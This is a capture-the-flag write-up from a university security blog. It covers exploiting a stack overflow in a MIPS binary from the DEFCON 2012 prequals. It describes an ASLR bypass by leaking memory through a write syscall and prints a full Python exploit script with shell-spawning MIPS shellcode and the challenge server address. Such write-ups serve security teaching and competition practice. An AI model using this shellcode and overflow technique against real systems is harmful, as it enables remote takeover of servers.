LSE Blog

Operating systems, computer security, languages theory, and even more!

  • About us

    • Main website
    • Git repositories
    • @lse_epita

    RSS Feed

  • Categories
    • Events
    • Language
    • Reverse Engineering
    • Security
    • Tutorials
      • Parallelism
    • Writeups
      • CSAW CTF 2012 Quals
      • DEFCON2K12 Prequals
      • SecuInside2K12 Prequals
      • NDH2K12 Prequals
      • Hack.lu CTF 2012
      • NDH2K13 Quals
      • PlaidCTF 2012
  • Authors
    • Gabriel Laskar
    • Bruno Pujos
    • Remi Audebert
    • Pierre Bourdon
    • Franck Michea
    • Ivan Delalande
    • Clement Rouault
    • Samuel Chevet
    • Nicolas Hureau
    • Marwan Burelle
    • Pierre-Marie de Rodat
  • DEFCON2K12 Prequals: pwn100 writeup

    Written by Samuel Chevet
    June 04, 2012 at 03:22

    Unlike most binary exploitation challenges, we had to work on an unusual processor architecture:

    1
    2
    > file pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a
    pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped
    

    Debian provides virtual machine images of their distribution for MIPS-I CPUs, which we were able to use with qemu in order to run the binary. It serves a simple shell with the following commands available:

    1
    2
    3
    4
    5
    6
    qotd
    ls
    png2ascii
    help
    exit
    quit
    

    When we used the ls command we could see the key file. The goal of this challenge was obviously to get it back. But the vulnerability was in another command: png2ascii (sub_00401BC4). This functions reserves a buffer of size 0x100 on the stack but reads 0x200 from it, stopping at the first '\n' byte encountered. We can use this to overwrite the return address stored on the stack and control the execution flow.

    1
    2
    3
    4
    .text:00400918                 lw      $ra, 0x2C($sp)
    .text:0040091C                 lw      $fp, 0x28($sp)
    .text:00400920                 jr      $ra
    .text:00400924                 addiu   $sp, 0x30
    

    The problem we encountered next was bypassing ASLR, which made the address of our stack buffer random. We tried to find gadgets in the binary in order to return to our buffer address but no register pointed to our buffer and no pointer to the buffer was present at a useful location in the stack. Luckily, the server uses fork() to serve each connection, which means each connection will use the same base stack address. We don't know where our buffer is but if we can find it once we know it will always be there until a server reboot.

    We decided to leak informations about our memory map by using a write syscall present in the binary and returning to it. It loads arguments from the stack so we can control these as well, and the file descriptor we need to write the data on is already loaded with the right value.

    1
    2
    3
    4
    5
    .text:00411498                 lw      $a1, 0x30+var_2C($sp)
    .text:0041149C                 lw      $a2, 0x30+var_28($sp)
    .text:004114A0                 lw      $a3, 0x30+var_24($sp)
    .text:004114A4                 li      $v0, 0x1052
    .text:004114A8                 syscall 0
    

    Using a crafted stack we were able to bruteforce the pointer passed to the write syscall and test whether data is written or not. If some data is written we know that we are in a valid memory range.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    > for i in $(seq 0 255); do echo "- - - - - -"; printf "%02x\n" $i; python2 pwn100.py 40$(printf "%02x" $i)0000 1000 | hexdump -C; done | tee out
    ...
    000004e0  0a 4f 52 20 41 20 4d 4f  55 54 48 2e 20 42 45 20  |.OR A MOUTH. BE |
    000004f0  47 4f 4f 44 20 41 54 20  53 43 48 4f 4f 4c 20 54  |GOOD AT SCHOOL T|
    00000500  4f 44 41 59 2e 20 4c 4f  56 45 2c 20 4d 4f 4d 2e  |ODAY. LOVE, MOM.|
    00000510  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
    00000520  20 0a 0a 41 41 41 41 41  41 41 41 41 41 41 41 41  | ..AAAAAAAAAAAAA|
    00000530  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    *
    000005b0  41 41 41 51 51 51 51 98  14 41 00 04 00 00 00 f0  |AAAQQQQ..A......|
    000005c0  c6 8c 7f 00 10 00 00 00  00 00 00 70 0a 01 10 ff  |...........p....|
    000005d0  ff ff ff d0 c7 8c 7f f8  17 99 00 09 00 00 00 ff  |................|
    000005e0  ff ff ff b8 c7 8c 7f cc  12 40 00 04 00 00 00 d0  |.........@......|
    000005f0  c7 8c 7f 00 01 00 00 0a  00 00 00 70 0a 01 10 ff  |...........p....|
    00000600  ff ff ff 70 6e 67 32 61  73 63 69 69 00 ff ff ff  |...png2ascii....|
    00000610  ff ff ff 00 00 00 00 00  00 00 00 ff ff ff ff ff  |................|
    ...
    

    Using this trick we were able to find our buffer filled with "A" characters, so we knew exactly where to jump to. We just needed a valid MIPS shellcode to execute a shell on the remote server. Using this website we were able to do this very quickly. After testing it on the remote server we noticed that simply running dup2 and execve was not enough because the server had a hard file descriptor limit. We bypassed it by using setrlimit before execve, giving us this final exploit script:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    import socket
    import struct
    import sys
    
    shellcode = \
            "\xeb\x0f\x02\x24\x05\x00\x04\x24\xc0\xff\xa5\x27" + \
            "\x64\x00\x0f\x24\xc0\xff\xaf\xaf\xc4\xff\xaf\xaf" + \
            "\x0c\x01\x01\x01\x04\x00\x04\x24\x02\x00\x05\x24" + \
            "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\xa5\x20" + \
            "\xff\xff\x0f\x24\xfb\xff\xaf\x14\x00\x00\x00\x00" + \
            "\x69\x6e\x0f\x3c\x2f\x62\xef\x35\xf4\xff\xaf\xaf" + \
            "\x68\x00\x0e\x3c\x2f\x73\xce\x35\xf8\xff\xae\xaf" + \
            "\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xfc\xff\xa5\x27" + \
            "\xfc\xff\xa6\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" + \
            "\x00\x00\x00\x00"
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #s.connect(("140.197.217.85", 1994))    # remote server
    s.connect(("192.168.103.61", 1994))     # local test
    
    print s.recv(1024)
    print s.recv(1024)
    
    cmd = "png2ascii\n"
    
    s.send(cmd)
    
    print s.recv(1024)
    
    raw_input() # usefull for attach gdb
    
    stack = int(sys.argv[1], 16)
    size = int(sys.argv[2], 16)
    
    # EIP control
    payload = shellcode + "A" * (256 - len(shellcode))
    
    #payload += "Q" * 4 + struct.pack("<I", 0x411498) # Addr write syscall
    
    #payload += "Q" * 4 + struct.pack("<I", 0x7f8cc680) # Addr Buffer local
    
    payload += "Q" * 4 + struct.pack("<I", 0x407ffe80) # Addr Buffer remote
    
    payload += "\x04\x00\x00\x00" # Socket fd
    # Parameters for sycall write
    payload += struct.pack("<I", stack)
    payload += struct.pack("<I", size)
    payload += struct.pack("<I", 0)
    
    s.send(payload + "\n")
    sys.stdout.write(s.recv(65536))
    sys.stdout.write(s.recv(65536))
    

    We read the key file using the remote shell and were able to validate the challenge. This was a fun challenge, it's not common to exploit non-x86 architectures.

    Tweet
    Permalink & comments
    blog comments powered by Disqus

© LSE 2012 — Main website — RSS Feed